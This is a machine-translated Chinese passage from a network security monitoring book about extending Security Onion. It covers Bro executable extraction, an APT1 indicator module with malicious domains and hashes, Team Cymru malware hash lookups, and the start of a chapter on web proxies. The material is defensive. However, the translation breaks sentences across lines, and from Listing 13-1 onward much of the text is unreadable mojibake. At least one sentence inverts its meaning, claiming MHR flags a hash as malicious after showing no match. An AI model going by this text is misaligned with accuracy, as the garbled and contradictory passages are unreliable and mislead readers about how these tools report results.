最后一步是使用 NSM 脚本确认 Bro 的状态
与 SO 一起使用,如清单 12-17 所示。 (你也可以使用相同的方法)
sudo broctl status 命令。)
$ sudo nsm_sensor_ps-status --only-bro
状态:Bro
名称 类型 主机 状态 Pid 同行 启动时间
manager manager 192.168.2.102 正在运行 19555 2 18 4 月 00:29:37
proxy proxy 192.168.2.102 正在运行 19603 2 18 4 月 00:29:40
sov-eth0-1 worker 192.168.2.102 正在运行 19647 2 18 4 月 00:29:42
状态:sov-eth0
清单 12-17:使用 NSM 脚本确认 Bro 状态
根据 nsm_sensor_ps-status --only-bro 命令的输出,
Bro 正常运行,并采用新配置。
为了测试实时配置,我们将下载另一个可执行文件并
观察 Bro 日志中的条目。清单 12-18 显示了测试命令
在配置为提取的生产 SO 传感器上启用新功能
Windows 可执行文件。
$ wget http://www.etree.org/cgi-bin/counter.cgi/software/md5sum.exeu
--2013-04-18 00:44:06-- http://www.etree.org/cgi-bin/counter.cgi/software/md5sum.exe 正在解析 www.etree.org (www.etree.org)… 152.19.134.46
正在连接到 www.etree.org (www.etree.org)|152.19.134.46|:80… 已连接。
已发送 HTTP 请求,等待响应…… 200 OK
长度:49152 (48K) [application/octet-stream]
保存到:`md5sum.exe'
276 第十二章
100%[======================================>] 49,152 --.-K/s 在 0.1 秒内 2013-04-18 00:44:07 (398 KB/s) - `md5sum.exe' 已保存 [49152/49152]
$ grep md5sum.exe /nsm/bro/logs/current/*v
/nsm/bro/logs/current/http_eth0.log:1366245846.879854 8AwBGe9EpX 192.168.2.102 55409
152.19.134.46 80 1 GET www.etree.org /cgi-bin/counter.cgi/software/md5sum。
exew - Wget/1.13.4 (linux-gnu) 0 49152 200 OK - - -
(empty) - - - application/x-dosexecx eb574b236133e60c989c6f472f07827by
/nsm/bro/extracted/http/http-item_192.168.2.102:55409-152.19.134.46:80_resp_1.datz
/nsm/bro/logs/current/notice.log:1366245847.087877 8AwBGe9EpX 192.168.2.102
55409 152.19.134.46 80 tcp HTTP::MD5 192.168.2.102
eb574b236133e60c989c6f472f07827b{ http://www.etree.org/cgi-bin/counter.cgi/software/md5sum.
exe| eb574b236133e60c989c6f472f07827b 192.168.2.102 152.19.134.46 80 -
sov-eth0-1 Notice::ACTION_LOG 6 3600.000000 F - - -
清单 12-18:测试新的文件提取功能
清单 12-18 显示了验证 Windows 可执行文件的两个命令
在生产传感器上提取。首先,我们下载一个 Windows 可执行文件
使用 wget 工具 u 调用 md5sum.exe。下载完成后,我们
使用 grep 在当前 Bro 日志中查找 md5sum 字符串的实例 v。
结果有两个:
• 第一个来自http.log,显示了文件 w 的下载,文件类型 x,
MD5 哈希 y 和提取的二进制文件路径 z。
• 第二个来自notice.log,重现了许多相同的元素
早期的示例,如 MD5 哈希{和二进制文件的 URL|。
这些日志的存在表明 Bro 正在从 HTTP 流量中提取 Windows
可执行文件,这要归功于我们的配置更改和
应用程序重启。
使用 aPT1 情报
2013 年 2 月,Mandiant 发布了一份关于中国军队单位的报告
通常称为高级持久威胁 1(APT1)。在中国,APT1 是
总参谋部第三部门第二局
解放军,也称为其军事单位掩护。
设计器,61398,该军队团队针对讲英语的公司和
偷窃商业机密、知识产权和其他敏感信息。
在报告中,Mandiant 发布了 3000 个 IOC(在第九章中讨论),
包括域名、IP 地址、X.509 加密证书等。
MD5 哈希值,用于 APT1 使用的恶意软件。Mandiant 还发布了
扩展 SO 277
入侵者与受害者的西方计算机交互,发送钓鱼邮件,建立命令和控制通道,并窃取数据。
尽管 Mandiant 以 OpenIOC 格式发布了情报(http://www)
.openioc.org/)格式,网络防御者并未立即清楚如何应对
NSM 分析师可以将这些指标应用到他们的网络中。在报告发布后的两天内,
报告发布后的几天,Seth Hall 来自 Bro 项目发布了一个
回答:一个新的 Bro 模块,称为 APT1,整合了 Mandiant 的 APT1
情报(https://github.com/sethhall/bro-apt1/)。使用 SO 的网络防御者在 NSM 商店中现在可以轻松搜索 APT1 指标
网络。
概念验证 vS.生产
Seth Hall 编写了 APT1 Bro 模块,作为概念验证,目的是
快速发布一些内容以造福社区。然而,SO
用户在使用此模块时应注意几个方面。
生产。(Seth 会首先提醒你这些问题,但我在此列出它们以便澄清)
在此列出它们以便澄清!
如写明,模块识别出 DNS 流量中 APT1 域名的使用,但
它无法检测 HTTP 头部中的 Host 元素中的 APT1 域名(如
主机:advanbusiness.com)或代理式 URI(例如GET http://advanbusiness)
.com/some/file)。此外,模块不查找涉及子域名的活动(如subdomain.advanbusiness.com)。
除了使用 APT1 Bro 模块中的功能外,你还可以
在其他流量中查找有趣的域名,如 SMTP 或其他内容。正如
截至目前,模块没有包含这些功能,但你可以使用
使用 Bro 网络编程语言编写脚本以满足这些需求。Seth
提醒用户 Bro 不断发展,他的模块可能会发生变化
因为 Bro 正在加入新特性。
使用 APT1 模块
到目前为止,我们已经探讨了 Bro 如何与 SO 配合使用,创建多种用途。
完整日志,我们已修改 local.bro 来启用 Windows
从 HTTP 和 FTP 流量中提取可执行文件。现在,我们将通过添加新功能来扩展 Bro。
一个新模块的配置。
Seth 的 APT1 模块由三个策略脚本组成:
data.bro 这个脚本包含了 Mandiant 提供的域名、MD5 哈希值和 X.509 证书元素的列表,格式化为
供 Bro 使用。
main.bro 这个脚本告诉 Bro 的通知框架监控是否与 data.bro 中的元素匹配。
load__.bro 这个脚本告诉 Bro 加载 data.bro 和 main.bro。
278 第十二章
该模块还包括一个名为 README.rst 的文件,里面包含有关如何安装脚本的说明,讨论生成的新通知
由 Bro 提供,并提供相关信息。
data.bro 中的 IOCs 按照 Listing 12-19 所示的格式进行排列。
umodule APT1;
vconst x509_serials_and_subjects: set[string, string] = {
["01", "C=US, ST=Some-State, O=www.virtuallythere.com, OU=new, CN=new"],
["0122", "C=US, ST=Some-State, O=Internet Widgits Pty Ltd, CN=IBM"],
-- snip --
};
wconst 域名:set[string] = {
"advanbusiness.com",
"aoldaily.com",
"aolon1ine.com",
"applesoftupdate.com",
-- snip --
};
xconst file_md5s: set[string] = {
"001dd76872d80801692ff942308c64e6",
"002325a0a67fded0381b5648d7fe9b8e",
"00dbb9e1c09dbdafb360f3163ba5a3de",
-- snip --
};
Listing 12-19: 来自 APT1 的数据摘录 .bro
data.bro 文件包含四个主要部分:
• 第 u 部分声明这是 APT1 模块。
• 第 v 部分包含 Bro 识别的 X509 加密证书详细信息
并被 APT1 使用。
• 第 w 部分包含与 APT1 活动相关的恶意域名列表。
• 第 x 部分列出了 APT1 使用的恶意软件的 MD5 哈希值。
如你所见,非常容易将 IOCs 添加到这个文件或它的副本中,以便
以检测不同的活动。main.bro 文件会在 Bro 的 notice.log 文件中生成警报数据,如 Listing 12-20 所示。
APT1::域名命中
APT1::证书命中
APT1::文件 MD5 命中
Listing 12-20: APT1 模块生成的警报数据
我们将在实际示例中看到这些警报,当我们测试 APT1 时
但首先我们需要获取该模块并安装它。
扩展 SO 279
安装 APT1 模块
我们可以使用之前尝试过的技术来测试 APT1 模块,
启用从 HTTP 和 FTP 流量中提取二进制文件。Listing 12-21 显示了
这个过程正在进行中。
$ sudo apt-get install gitu
-- snip --
$ cd /opt/bro/share/bro/site/
$ sudo git clone git://github.com/sethhall/bro-apt1.git apt1v
克隆到 'apt1'...
远程:统计对象:12,完成。
远程:压缩对象:100%(10/10),完成。
远程:总计 12(增量 2),重用 11(增量 1)
接收对象:100% (12/12),32.82 KiB,完成。
解决差异:100% (2/2),完成。
$ ls
apt1 local.bro.orig local-proxy.bro
local.bro local-manager.bro local-worker.bro
$ cd apt1
$ ls
data.bro load.bro main.bro README.rst
列表 12-21:安装 Git 并获取 APT1 模块
要获取 APT1 模块,首先安装 Git 版本控制软件—
获取软件包 u,并克隆 Seth Hall 的 APT 模块 v 的 Git 仓库。
一旦 APT1 模块被下载到 /opt/bro/share/ 中
bro/site/ 目录,如果需要告知 Bro,可以通过在 local.bro 的底部添加以下行来实现:
@load apt1
修改了 local.bro 后,我们几乎准备好测试 APT1 模块了,但
我们还需要再执行一步。
生成流量以测试 APT1 模块
要测试 APT1 模块,我们在传感器上启动一个终端并告诉
Tcpdump 捕获流量。我们应用一个 BPF 来专注于来自和前往
涉及我们的测试系统 192.168.2.102 的端口 53。Tcpdump 会保存这些
它会看到一个名为 port53.pcap 的跟踪文件。
$ sudo tcpdump -n -i eth0 -s 0 -w port53.pcap port 53 and host 192.168.2.102
280 第十二章
在第二个终端中,查询 APT1 中列出的一些域名
data.bro 策略脚本 advanbusiness.com,如列表 12-22 所示。
$ host advanbusiness.comu
advanbusiness.com 的地址是 50.63.202.91v
advanbusiness.com 的邮件由 0 smtp.secureserver.net 处理。
advanbusiness.com 的邮件由 10 mailstore1.secureserver.net 处理。
列表 12-22:对 advanbusiness .com 执行 DNS 查询
接下来,我们使用 Linux 工具 host 查询 advanbusiness.com u,并且
看到结果是 IP 地址 50.63.202.91 v。
返回 Tcpdump,我们使用 ctrl-C 停止捕获并查看
结果,如列表 12-23 所示。
$ tcpdump -n -r port53.pcap
从文件 port53.pcap 读取,链路类型 EN10MB(以太网)
14:30:15.622379 IP 192.168.2.102.57097 > 172.16.2.1.53: 57373+ A? advanbusiness.com.u (35) 14:30:15.762833 IP 172.16.2.1.53 > 192.168.2.102.57097: 57373 1/0/0 A 50.63.202.91v (51) 14:30:15.765342 IP 192.168.2.102.58378 > 172.16.2.1.53: 42025+ AAAA? advanbusiness.com. (35) 14:30:15.870230 IP 172.16.2.1.53 > 192.168.2.102.58378: 42025 0/1/0 (103)
14:30:15.872373 IP 192.168.2.102.42336 > 172.16.2.1.53: 29779+ MX? advanbusiness.com. (35) 14:30:15.989506 IP 172.16.2.1.53 > 192.168.2.102.42336: 29779 2/0/2 MX smtp.secureserver.net.
0, MX mailstore1.secureserver.net. 10 (131)
列表 12-23:针对 advanbusiness .com 的 DNS 查询
列表 12-23 显示了对 advanbusiness.com u 的查询,接着是
结果:IP 地址 50.63.202.91 v。借助这个流量,我们现在可以测试
APT1 模块。
测试 APT1 模块
要测试 APT1 模块,我们运行 Bro,分析我们刚刚捕获的跟踪文件。
列表 12-24 显示了结果。
$ sudo bro -r port53.pcapu /opt/bro/share/bro/site/local.brov
警告:未定义任何 Site::local_nets。通常建议您
定义您的本地网络。
警告:BPFConf 文件名中仍然有模板值:/etc/nsm/{{hostname}}-
{{interface}}/bpf-bro.conf (/opt/bro/share/bro/securityonion/./bpfconf.bro,
第 99 行)
列表 12-24:运行 Bro 处理保存的 DNS 流量
列表 12-24 显示了 Bro 读取网络追踪 u,而之前的
在命令行中指定local.bro v 文件会告诉 Bro 读取该文件
获取更多的配置信息。现在我们可以看到 Bro 创建了哪些日志。
已生成。
扩展 SO 281
首先,我们检查当前工作目录的内容,因为
如列表 12-25 所示。
$ ls -al
总计 52
drwxrwxr-x 3 soe soe 4096 4 月 18 14:52 .
drwxr-xr-x 33 soe soe 4096 4 月 18 14:52 ..
-rw-r--r-- 1 root root 278 4 月 18 14:52 capture_loss.log
-rw-r--r-- 1 root root 865 4 月 18 14:52 conn.log
-rw-r--r-- 1 root root 932 4 月 18 14:52 dns.log
-rw-r--r-- 1 root root 8020 4 月 18 14:52 loaded_scripts.log
-rw-r--r-- 1 root root 864 4 月 18 14:52 notice.logu
-rw-r--r-- 1 root root 1128 4 月 18 14:52 notice_policy.log
-rw-r--r-- 1 root root 251 4 月 18 14:52 packet_filter.log
-rw-rw-r-- 1 soe soe 762 4 月 18 14:52 port53.pcap
-rw-r--r-- 1 root root 951 4 月 18 14:52 reporter.log
drwx------ 3 root root 4096 4 月 18 14:52 .state
列表 12-25:运行 Bro 处理保存的 HTTP 流量时创建的日志
列表 12-25 显示了 Bro 处理网络追踪时创建的各种文件。
网络追踪。让我们查看一下notice.log u,看看 APT1 模块是否检测到了我们为报告中的恶意advanbusiness.com 做的 DNS 查询。
域名。列表 12-26 显示了输出。
$ cat notice.log | bro-cut -C -d
separator \x09
set_separator ,
empty_field (空)
unset_field -
path notice
open 2013-04-18-14-52-57
fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p proto note msg sub src dst p n peer_descr actions policy_items suppress_for dropped remote_location.country_code remote_location.region remote_
location.city remote_location.latitude remote_location.longitude metric_
index.host metric_index.str metric_index.network
types string string addr port addr port enum enum string string addr addr port count string table[enum] table[count] interval bool string string string double double addr string subnet
2013-04-18T14:30:15+0000 IVCYGEfpRya 192.168.2.102 57097 172.16.2.1 53
udp APT1::Domain_Hitu 从 APT1 报告中看到的一个域名:advanbusiness.comv
- 192.168.2.102 172.16.2.1 53 - bro Notice::ACTION_LOG 6
3600.000000 F - - - - - - - -
close 2013-04-18-14-52-57
列表 12-26:Bro notice .log 文件的内容
282 第十二章
列表 12-26 显示了 Bro 报告一个 APT::Domain_hit 警报 u,后面跟着看到的域名信息,advanbusiness.com v。我们的测试是
成功了,但这只是一个测试。要让 Bro 运行新的配置,
我们需要重新启动 Bro,正如列表 12-27 所示。
$ sudo broctl install && sudo broctl restart
移除 /nsm/bro/spool/installed-scripts-do-not-touch/site 中的旧政策 ... 完成。
移除 /nsm/bro/spool/installed-scripts-do-not-touch/auto 中的旧政策 ... 完成。
创建政策目录 ... 完成。
安装站点政策 ... 完成。
生成 cluster-layout.bro ... 完成。
生成 local-networks.bro ... 完成。
生成 broctl-config.bro ... 完成。
更新节点 ... 完成。
停止 ...
停止 soe-eth0-1 ...
停止代理 ...
停止管理器 ...
启动中 ...
启动管理器 ...
启动代理 ...
启动 soe-eth0-1 ...
列表 12-27:从命令行重启 Bro
记得使用 sudo nsm_sensor_ps-status 检查 Bro 的状态
--only-bro 命令也可以使用。
报告恶意二进制文件的下载
如你之前所学,Bro 可以计算 Windows 可执行文件的 MD5 哈希值。
通过 HTTP 下载的二进制文件。在本节中,我们将检查 SO 和 Bro
与第三方恶意软件哈希注册表集成,以便在分析人员发现时发出警告
用户通过 Team 提供的数据库下载恶意软件
Cymru 组织。
使用 Team Cymru 恶意软件哈希注册表
Team Cymru,正式名称为 Team Cymru Research NFP,自我描述为
作为“一个专门从事互联网安全研究的公司和 501(c)3 非营利组织”
致力于使互联网更安全” ( http://www.team-cymru.
org/About/)。我们可以使用他们免费的恶意软件哈希注册表 (MHR,位于 http://
www.team-cymru.org/Services/MHR/) 用于将 MD5 哈希与已知值进行匹配
恶意软件。
大多数分析人员通过 DNS 查询 MHR。列表 12-28 展示了如何使用
Linux dig 命令用于运行 DNS TXT 记录查询,查找恶意软件哈希值
与 MHR 对比。
扩展 SO 283
$ dig +short 733a48a9cb49651d72fe824ca91e8d00.malware.hash.cymru.com TXTu
"1277221946v 79w"
$ date -d @1277221946x
2010 年 6 月 22 日 15:52:26 UTC
$ dig +short 1e39efe30b02fd96b10785b49e23913b.malware.hash.cymru.com TXTz
$ whois -h hash.cymru.com 1e39efe30b02fd96b10785b49e23913b{
1e39efe30b02fd96b10785b49e23913b 1366297928 NO_DATA|
列表 12-28:通过 TXT 和 whois 记录查询 MHR
第一个示例展示了一个针对恶意软件的 DNS TXT 记录查询,使用了哈希值
733a48a9cb49651d72fe824ca91e8d00 u. (搜索 VirusTotal 查看它是什么!)这个
响应的第一部分显示了 MHR 上次看到该样本的日期 v.
响应的第二部分是一个粗略的杀毒检测指标,如
一个百分比 w。我们将时间戳从 Unix 时间戳转换为
使用日期命令 x 以人类可读的格式查看,并看到它是
2010 年 6 月 22 日 y.
第二个示例展示了查询 MHR 时发生的情况
它没有发送响应 z。提供的哈希值是 Firefox 的值
二进制文件。因为 MHR 没有关于此哈希的信息,我们切换到 MHR
WHOIS 查询功能 {. NO_DATA | 响应证明 MHR
不知道提供的哈希值。
Listing 12-29 中的示例显示了另一种使用 dig 的查询方式,但没有
请求 TXT 记录。
$ dig +short 733a48a9cb49651d72fe824ca91e8d00.malware.hash.cymru.com
127.0.0.2
Listing 12-29:通过默认 A 记录查询 MHR
我们查询 Listing 12-28 中的相同第一个哈希值,但我们让
默认情况下应该是 A 记录。
查询 A 记录要求 DNS 服务器返回该域名的 IP 地址。
请求的完全合格域名。相比之下,查询 PTR 记录
记录请求 DNS 服务器返回完全合格的域名,
请求的 IP 地址。查询 TXT 记录请求 DNS 服务器回复
包含与域名相关的任何文本记录。
我们的唯一结果是 IP 地址 127.0.0.2。这是 MHR 的方式,
响应匹配的 A 记录查询。如果我们想要更多信息—
如果要获取更多关于匹配的信息,我们需要运行 DNS 查询以获取 TXT 记录,如下所示
在 Listing 12-28 中提到的。
284 第十二章

MHR 和 SO:默认启用
默认情况下,SO 上的 Bro 已配置与 MHR 配合工作,帮助检测
恶意下载。SO 依赖于 Bro 计算 Windows 可执行文件的 MD5 哈希值
通过 HTTP 下载的可执行文件,Bro 会自动提交
这些哈希值对应于 MHR。如果我们查询 Bro,可以看到这个活动的执行情况。
通过 ELSA 的日志,如图 12-8 所示。
图 12-8:查询 ELSA 获取 MHR 查询结果
在图 12-8 中,我们查询 ELSA 获取 1e39efe30b02fd96b10785b49e23913b
.malware.hash.cymru.com——这是之前提到的 Firefox 二进制文件的 MD5 哈希值。
示例(1e39efe30b02fd196b10785b49e23913b),加上域名 malware.hash
.cymru.com。图 12-8 显示了八个结果,所有结果都是配对的。配对中的第一个条目是查询 IPv4 的 A 记录,第二个条目是
查询 IPv6 的 AAAA 记录。因此,我们有四个独特的查询
这是特定的 MD5 哈希值。
我们可以使用两种方法来确定任何查询结果是否
返回的结果:
• 直接检查 ELSA 返回的结果。例如,结果
没有在 MHR 中显示恶意条目的结果看起来像是|1
|C_INTERNET|1|A|-|-|F|F|T|F|0|-|- 适用于 IPv4,并且 |1|C_INTERNET|28|AAAA|-
|-|F|F|T|F|0|-|- 适用于 IPv6。我们可以看到这些结果对于每个条目
如图 12-8 所示,表明在 MHR 中没有匹配项。
这告诉我们 MHR 认为下载具有 MD5
1e39efe30b02fd96b10785b49e23913b 是恶意的。
• 查询 ELSA 以获取 Malware_Hash_Registry_Match。这是事件的一部分,
由 Bro 在查询 MHR 并获得积极响应时返回。
在这种情况下,查询在 ELSA 中没有找到对应哈希的二进制记录。
1e39efe30b02fd96b10785b49e23913b。
扩展 SO 285

MHR 和 SO 与恶意下载
因为 SO 和 Bro 默认查询 MHR,在生产环境中,任何匹配项
恶意下载将在 ELSA 和底层 Bro 日志中出现。
例如,假设有一天你正在与 SO 一起工作,而你的
NSM 数据,你执行了一个查询,获取 Malware_Hash_Registry_Match。你得到的
如图 12-9 所示的结果。
图 12-9:查询结果,针对 Malware_Hash_Registry_Match
我已经将相同的日志条目以文本形式重现,在列表 12-30 中以便于阅读
参考。
1366293016.555895 - 192.168.2.108u 62585 205.186.148.46v 80 tcp HTTP::Malware_Hash_Registry_Matchw 192.168.2.108 b4f990cad1d20efab410e98fc7a6c81bx http://www.taosecurity.com/helpdesk.exey - 192.168.2.108 205.186.148.46
80- soe-eth0-1 Notice::ACTION_LOG 6 3600.000000 F
列表 12-30:Malware_Hash_Registry_Match 的日志条目
这个来自 Bro notice.log 文件的日志结果表明了一次计算机-
计算机的 IP 地址为 192.168.2.108,访问了 205.186.148.46,并且
触发了一个 HTTP::Malware_Hash_Registry_Match w 警报,针对 MD5 哈希值
b4f990cad1d20efab410e98fc7a6c81b 来自 www.taosecurity.com 和该
helpdesk.exe 文件。我们可以进一步了解这个连接,如果我们
查询 ELSA 以获取文件名 helpdesk.exe,如图 12-10 所示。
结果显示三条记录:
• 图 12-10 中的第一条记录是 Bro 告诉我们它计算了
计算出了 helpdesk.exe 二进制文件的 MD5 哈希值。
• 第二条记录与我们在 MD5 查找中看到的内容相同。
• 第三条记录显示 Bro 从 HTTP 中提取了该二进制文件
流量并将其保存为 /nsm/bro/extracted/http/http-item_192.168.2.108:
62585-205.186.148.46:80_resp_1.dat。
286 第十二章


图 12-10:查询 ELSA 获取 helpdesk .exe
识别二进制文件
我们知道 Bro 和 SO 根据一个
MD5 哈希值,我们知道找到了匹配项,因为 Bro 报告了一个
Malware_Hash_Registry_Match 事件。我们可以以不同的角度查看这个结果
通过查询 ELSA,使用前面展示的哈希值和域名方法
如图 12-8 所示。
我们稍微修改查询,通过在哈希值后添加 +127.0.0.2
和域名。加号(+)告诉 ELSA 查询加号后面的术语——
特别是 127.0.0.2,这是 MHR 返回的 IP 地址,当
Bro 查询它以获取恶意软件哈希值。(我们在列表 12-28 中看到过这个差异。)
图 12-11 显示了针对哈希值和
域名 b4f990cad1d20efab410e98fc7a6c81b.malware.hash.cymru.com。
图 12-11:查询 ELSA 获取 b4f990cad1d20efab410e98fc7a6c81b.malware.hash.cymru .com +127.0.0.2
扩展 SO 287

我们得到一个结果。127.0.0.2 的回复表明
MHR 识别了该哈希值的结果。
此时,我们可以采取几条不同的路径来识别二进制文件:
• 因为二进制文件存储在 /nsm/bro/extracted/http/http-item_
192.168.2.108:62585-205.186.148.46:80_resp_1.dat,我们可以执行
手动分析。
• 我们可以将提取的二进制文件提交给像 VirusTotal 这样的第三方引擎。
• 我们可以将哈希提交到 VirusTotal,VirusTotal 返回结果
如图 12-12 所示\。
图 12-12:提交哈希 b4f990cad1d20efab410e98fc7a6c81b 的 VirusTotal 结果 VirusTotal 将该恶意软件识别为 Poison Ivy 变种——一种流行的
这是一种远程访问木马(RAT),可以从多个网站获取。我们希望
用户通过此案例识别下载了该工具,仅用于测试目的
如果没有,那么是时候开始寻找出站命令复制的迹象了。
控制流量,如第 10 和第十一章所述。祝你好运!
结论
本章向你介绍了四种扩展并改进的方式
使用 SO 打包的函数。我们介绍了 Bro 如何创建 MD5
为可执行文件计算哈希,并展示了如何使用 VirusTotal。我们
配置了 Bro 以从网络流量中提取可执行二进制文件,并
演示了如何从 Mandiant 的 APT1 外部智能源进行集成
报告。我们还在 Bro 中生成了警报,以模拟可疑的 DNS 查找
用于 APT1 域的恶意软件。我们通过展示 SO 报告的结构结束了这一章,
并提取生产环境中恶意二进制文件的下载内容,我们
学到的恶意软件是 Poison Ivy RAT。
在下一章中,我们将查看进行
NSM:代理和校验和。
288 第十二章
13
代理和校验和
本章,恰逢第十三章,探讨了
进行 NSM 的两个不幸特征
在真实网络上:代理和校验和。
代理 这个术语指的是网络基础设施的一部分
结构是一些公司用来观察、控制、
加速互联网使用。术语 校验和,
在本章的上下文中,指的是一种错误检测机制
由互联网协议(IP)提供的服务。本章描述了一些方法
以应对操作中每个特征所带来的问题
环境。
代理
Web 代理在企业环境中特别流行。一种类型
Web 代理的配置被调整为处理来自 Web 客户端的流量,目标是 Web
服务器。
一些网络和安全管理员喜欢代理,因为它们
提供性能和安全的好处。使用代理时,用户有时
更好地访问内容,因为该内容第一次访问时被缓存
任何用户查看它后,随后的用户可以享受快速访问缓存
当用户必须通过代理发送流量时,管理员可以尝试
通过限制他们访问恶意网站来保护网络。
图 13-1 展示了 Web 代理在企业环境中可能如何工作
在企业环境中,这里有一个 Web 客户端,IP 地址为 192.168.2.108,访问 Web 服务器
位于 205.186.148.46。Web 客户端首先与代理建立会话,
被标记为 CONNECTION 1\。代理然后连接到 Web 服务器
代表客户端的会话。这一会话被标记为连接 2。所有流量
客户端与服务器之间的通信通过独立连接发生,像
这些。
连接 1
连接 2
位置 X
位置 Y
互联网
Web 客户端
代理
网络服务器
192.168.2.108
内部: 192.168.2.1
205.186.148.46
外部: 172.16.2.1
图 13-1:示例 Web 代理设置
代理与可见性
如图 13-1 所示,当部署代理时,一些可见性元素会丧失。
管理员部署代理。这样就不再看到真正的源 IP 地址。
为 Web 客户端提供的地址和 Web 服务器的真正目标 IP 地址
服务器时,我们还会看到代理的内部和外部 IP 地址。该
Web 客户端与代理服务器通信,代理服务器再与 Web 服务器通信。当
Web 服务器回复时,方向会反转。
例如,在位置 X 监视流量的 NSM 平台,
图 13-1 显示的流量源 IP 地址为 192.168.2.108,目标 IP 地址为
tion IP 地址 192.168.2.1。位置 Y 的 NSM 平台看到源 IP 地址为
源 IP 地址 172.16.2.1 和目标 IP 地址 205.186.148.46。
似乎没有一个单一位置可以让一个传感器同时看到两个
真实的源 IP 地址(192.168.2.108)和真实的目标 IP 地址
(205.186.148.46) 一次性连接。这对依赖该信息的分析人员来说是一个问题。
信息用于检测并响应入侵者。
如果没有足够的日志访问权限,NSM 分析人员实际上可能看到的 更少。
部署代理时,有时他们可以访问代理日志,但这些日志
可能不容易读取。有时分析人员可以捕获网络流量。
直接在代理本身上收集流量。例如,图 13-1 中的代理是运行在
配置 pfSense(http://www.pfsense.org/)防火墙与 Squid(http://)
www.squid-cache.org/) Web 代理。由于特定平台是 FreeBSD
在这个示例中,我们可以直接在服务器上收集流量。也就是说,
这在生产环境中通常不常见,但我们将在本例中利用这种情况。
本章将收集网络流量,以更好地理解情况。
290 第十三章
假设你想排查代理可能出现的问题
如图 13-1 所示。你决定以 pcap 格式记录完整的流量内容,
Tcpdump。你从内部接口收集流量,并将其存储在一个跟踪文件中
叫做 bej-int.pcap。然后,你在与代理服务器分开的会话中收集流量。
外部接口的流量存储在 bej-ext.pcap 中。在嗅探每个接口时,你使用
Web 客户端在 192.168.2.108 上访问 www.bejtlich.net Web 服务器。
为了查看跟踪文件的内容,你手动生成
使用 Tcpflow 生成的转储(https://github.com/simsong/tcpflow/),如清单 13-1 所示。
$ tcpflow -r bej-int.pcap
$ ls -al
总计 56
drwxrwxr-x 3 ds61so ds61so 4096 Apr 23 20:14 .
drwxrwxr-x 4 ds61so ds61so 4096 Apr 23 20:05 ..
-rw-rw-r-- 1 ds61so ds61so 3605 Apr 21 20:53 172.016.002.001.03128-192.168.002.108.50949u
-rw-rw-r-- 1 ds61so ds61so 376 Apr 21 20:53 192.168.002.108.50949-172.016.002.001.03128v Listing 13-1: ä½¿ç¨ Tcpflow çæè½¬å½æå¨ y å¨ bej-int .pcap è·è¸ªæä»¶ è¿è¡æ¶ï¼Tcpflow ä¼çæä¸¤ä¸ªæä»¶ã第ä¸ä¸ªæ¯ä»ä»£çå°å®¢æ·ç«¯çæµé uã第äºä¸ªæ¯ä»å®¢æ·ç«¯å°
代ç v.
客æ·ç«¯å°ä»£ççæµé
Listing 13-2 æ¾ç¤ºäºå®¢æ·ç«¯å°ä»£ççæµéã
$ cat 192.168.002.108.50949-172.016.002.001.03128
GET http://www.bejtlich.net/u HTTP/1.1
Host: www.bejtlich.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://www.taosecurity.com/training.html
Connection: keep-alive
Listing 13-2: 客æ·ç«¯å°ä»£ççæµé
å¨ä½ç½® Xï¼è¯·æ³¨æï¼GET è¯·æ± http://www.bejtlich.net/ u 䏿£å¸¸ç GET 请æ±ç¨æä¸åãæªç»è¿ä»£çç Web æµéå°ä¼æ¯
GET 请æ±å° / ç®å½ï¼è䏿¯æ´ä¸ª URLï¼ç±»ä¼¼äº GET /ã
Listing 13-3 æ¾ç¤ºäºæ¥èªä»£ççååºã
代çåæ ¡éªå 291
$ cat 172.016.002.001.03128-192.168.002.108.50949
HTTP/1.0 200 OK
Date: Sun, 21 Apr 2013 20:53:38 GMT
Server: Apache/2
Last-Modified: Wed, 02 Jan 2013 15:49:44 GMT
ETag: "2e800ed-c713-4d25031f1f600"
Accept-Ranges: bytes
Content-Length: 3195
Content-Type: text/html; charset=UTF-8
X-Cache: MISS from localhostu
X-Cache-Lookup: MISS from localhost:3128v
Via: 1.1 localhost:3128 (squid/2.7.STABLE9)w
Connection: keep-alive
Proxy-Connection: keep-alivex
y<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/
xhtml1-strict.dtd">
<head>-- snip --
Listing 13-3: 代çå°å®¢æ·ç«¯çæµéï¼å¦ä½ç½® X æè§
Listing 13-3 å å«å个头é¨ï¼è¡¨ç¤ºä»£çå¨å ¶ä¸èµ·ä½ç¨ã
u å v ä¸ç头鍿¾ç¤ºä»£çæ²¡ææ¬å°ç¼åã
请æ±å 容ç坿¬ãw å x ä¸ç头鍿¥åäºä»£çè¿æ¥çæ§è´¨ã
代çè¿æ¥çæåé¨åï¼ä½äº yï¼æ¾ç¤ºäºååºçå¼å§ã
æç®¡å¨ 205.186.148.46 çç½é¡µ\ã
代çå° Web æå¡å¨çæµé
ç°å¨è®©æä»¬ä½¿ç¨ Tcpflow æ¥æ¥çä»ä»£çå°å®¢æ·ç«¯çæµéã
代çå° Web æå¡å¨ï¼å¦ä½ç½® Y æè§ãListing 13-4 æ¾ç¤ºäºå¦ä½çæ
å°è½¬å½æä»¶ä¸ trace æä»¶ bej-ext.pcap è¿è¡æ¯å¯¹ï¼åè æ¯å¨é¢å Web æå¡å¨çä»£çæ¥å£ä¸æè·çã
$ tcpflow -r bej-ext.pcap
$ ls -al
total 20
drwxrwxr-x 2 ds61so ds61so 4096 Apr 23 20:33 .
drwxrwxr-x 3 ds61so ds61so 4096 Apr 23 20:32 ..
-rw-rw-r-- 1 ds61so ds61so 461 Apr 21 20:53 192.168.001.002.02770-205.186.148.046.00080u
-rw-rw-r-- 1 ds61so ds61so 3453 Apr 21 20:53 205.186.148.046.00080-192.168.001.002.02770v *å表 13-4ï¼ä½¿ç¨ Tcpflow çæè½¬å½æåä¸ç bej-ext .pcap è·è¸ªæä»¶ 292 第 13 ç«
忬¡ï¼Tcpflow çæäºä¸¤ä¸ªæä»¶ï¼é¦å æ¯ä»ä»£çå°
æå¡å¨ u å仿å¡å¨å°ä»£ççæµé vã让æä»¬æ¥ççæµé
ä»ä»£çå°æå¡å¨çæµéï¼é¦å å¦å表 13-5 æç¤º\ã
$ cat 192.168.001.002.02770-205.186.148.046.00080
GET /u HTTP/1.0
